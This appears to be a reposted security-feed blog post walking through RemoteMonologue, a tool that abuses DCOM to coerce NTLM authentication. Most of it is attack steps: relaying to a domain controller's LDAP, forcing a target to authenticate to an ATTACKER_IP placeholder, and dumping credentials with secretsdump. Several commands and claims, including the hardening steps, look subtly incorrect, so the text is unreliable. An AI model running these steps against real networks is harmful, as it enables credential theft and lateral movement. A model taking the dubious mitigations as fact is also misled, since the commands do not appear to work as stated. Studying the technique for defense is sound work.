Weaponizing DCOM for NTLM Authentication Coercions

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GitHub – xforcered/RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions
github.com/xforcered/RemoteMonologue

You Should Know:

RemoteMonologue is a tool that exploits Distributed Component Object Model (DCOM) to coerce NTLM authentication, a technique useful for penetration testers and red teams. Below are key commands, steps, and techniques related to this attack:

1. Understanding DCOM and NTLM Coercion

DCOM allows remote procedure calls (RPC) between Windows machines. Attackers abuse this to force a victim machine to authenticate to a malicious server, leaking NTLM hashes.

2. Prerequisites

  • A Windows attacker machine with Impacket installed.
  • A compromised low-privilege account.
  • Network access to the target machine.

3. Setting Up the Attack

Step 1: Clone RemoteMonologue

git clone https://github.com/xforcered/RemoteMonologue.git 
cd RemoteMonologue 

Step 2: Start an NTLM Relay Listener

Using Impacket’s ntlmrelayx:

python3 ntlmrelayx.py -t ldap://DOMAIN_CONTROLLER -smb2support 

Step 3: Trigger DCOM Authentication

Execute RemoteMonologue to coerce authentication:

.\RemoteMonologue.exe -target COMPUTER_NAME -captureip ATTACKER_IP 

4. Extracting NTLM Hashes

Once coerced, the victim’s NTLM hash will be relayed to the attacker’s listener. Use secretsdump.py to extract credentials:

python3 secretsdump.py DOMAIN/USER@TARGET_IP -hashes LMHASH:NTHASH 

5. Mitigation Techniques

  • Disable DCOM:
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Ole" -Name "EnableDCOM" -Value "N" 
    
  • Restrict NTLM Usage:
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLM" -Value 1 
    

What Undercode Say

This attack demonstrates how legacy protocols like DCOM and NTLM can be weaponized in modern networks. Defenders must:
– Monitor unexpected DCOM activations.
– Enforce SMB signing to prevent relay attacks.
– Migrate to Kerberos where possible.

Additional hardening commands:

 Disable unnecessary DCOM components 
Disable-WindowsOptionalFeature -Online -FeatureName DCOM 
 Enable SMB signing 
Set-SmbClientConfiguration -RequireSecuritySignature $true 

Prediction

As enterprises delay patching legacy systems, DCOM-based attacks will rise. Expect more tools like RemoteMonologue to automate NTLM coercion.

Expected Output:

A successful attack will capture NTLM hashes, enabling lateral movement or privilege escalation. Defenders must act now to disable obsolete protocols.

References:

Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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